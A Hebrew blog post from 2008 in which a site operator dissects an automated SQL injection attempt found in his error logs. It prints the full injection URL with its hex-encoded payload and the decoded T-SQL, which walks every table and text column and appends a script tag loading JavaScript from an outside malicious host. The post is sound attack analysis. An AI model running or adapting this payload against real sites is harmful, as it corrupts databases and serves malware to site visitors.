נסיון מעניין ל-SQL Injection משולב ב-XSS

16 באוגוסט 2008

תגיות: , , ,
אין תגובות

בהרבה מדי דפים שלי אין שימוש בפונקציה TryParse לגבי חלק מהפרמטרים (אלא ב-Cast בסיסי), וכך אני מקבל מדי פעם הודעות שגיאה על נסיונות פריצה אוטומאטיים מעניינים יותר או פחות.

הנה הכתובת:

http://www.israelnationalnews.com/Subscribe/Preview.aspx?type=1';DeCLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));ExEC(@S);

זה כבר מאוד סיקרן אותי. פתחתי את ה-Query Browser וכתבתי כך:

select 0x4445434C41....

ובכן, זה מה שמצאתי. לא צריך לדעת לכתוב פרוצדורות שמורות ל-MySQL כדי להבין מה יש כאן:

DECLARE @T varchar(255),@C varchar(4000) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN 
    exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><scr‎ipt src="http://www3.800mg.cn/csrss/w.js"></scr‎ipt><!--'' where '+@C+' not like ''%"></title><scr‎ipt src="http://www3.800mg.cn/csrss/w.js"></scr‎ipt><!--''')

FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

בעצם מדובר בנסיון לעבור על כל הטבלאות ולהכניס לתוכם סקריפט זדוני, מה שלא צלח אצלי בשרת, אבל עלול לצלוח אצל אחרים. מעניין מאוד שהם מנסים את התקיפה הזו עבור אתרים שרצים על ASP.net, בה-בעת שמספר האתרים שמריצים ASP.net עם MySQL אינו כ"כ גבוה.

הוסף תגובה
facebook linkedin twitter email

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *